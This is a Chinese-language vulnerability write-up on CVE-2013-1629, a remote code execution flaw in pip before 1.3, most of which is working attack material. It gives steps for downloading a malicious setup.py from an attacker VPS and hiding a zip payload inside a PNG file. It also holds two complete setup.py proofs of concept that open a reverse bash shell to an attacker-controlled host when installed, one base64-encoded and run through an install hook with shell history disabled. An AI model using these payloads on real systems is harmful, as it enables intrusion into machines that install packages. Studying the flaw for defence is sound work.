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110 lines
2.6 KiB
Markdown
110 lines
2.6 KiB
Markdown
# Python pip install RCE 漏洞 CVE-2013-1629
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## 漏洞描述
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当通过 HTTP 从 Pypi 存储库检索包时，不会检查包内容的完整性。利用这个缺陷，攻击者可以通过 `pip install` 来执行代码。
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参考阅读：
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- https://github.com/0x00-0x00/FakePip
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- https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce-using-pip/python/sid-2098
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## 漏洞影响
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```
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pip < 1.3
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```
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## 漏洞复现
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### 方式 1 FakePip
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将 [setup.py](#漏洞POC) 文件下载到远程目标：
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```
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$ wget http://your-vps-ip/setup.py
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```
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在 VPS 上监听端口，在远程目标上执行命令：
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```
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$ mkdir fakepip
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$ mv setup.py fakepip/
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$ cd fakepip
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# sudo /usr/bin/pip install . --upgrade --force-reinstall
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```
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成功获取反弹 Shell。
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### 方式 2 图片马
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将 [setup.py](#漏洞POC) 文件放在文件夹中并压缩命名为，选择一张图片 test.png，制作图片马：
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```
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$ copy /b test.png + pic.zip pic.png
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```
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在 VPS 上监听端口，将图片上传至公网图床，复制链接，在远程目标上执行命令：
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```
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$ pip install " https://<your-img-link>"
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```
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也将图片可以上传到 VPS，在远程目标上执行命令：
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```
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$ pip3 install "http://192"."168"."xx"."xxx/pic.png"
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```
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## 漏洞 POC
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方式 1 setup.py
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```python
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from setuptools import setup
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from setuptools.command.install import install
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import base64
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import os
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class CustomInstall(install):
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def run(self):
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install.run(self)
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LHOST = 'localhost' # change this
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LPORT = 13372
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reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
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encoded = base64.b64encode(reverse_shell)
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os.system('echo %s|base64 -d|bash' % encoded)
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setup(name='FakePip',
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version='0.0.1',
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description='This will exploit a sudoer able to /usr/bin/pip install *',
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zip_safe=False,
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cmdclass={'install': CustomInstall})
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```
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方式 2 setup.py
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```python
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from setuptools import setup
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import socket,subprocess,os
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def run():
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import socket, time,pty, os
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host='{LHOST}'
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port='{LPORT}'
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s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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s.settimeout(10)
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s.connect((host,port))
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os.dup2(s.fileno(),0)
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os.dup2(s.fileno(),1)
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os.dup2(s.fileno(),2)
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os.putenv("HISTFILE",'/dev/null')
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pty.spawn("/bin/bash")
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s.close()
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run()
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setup(name="FakePip", version="1.0")
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```
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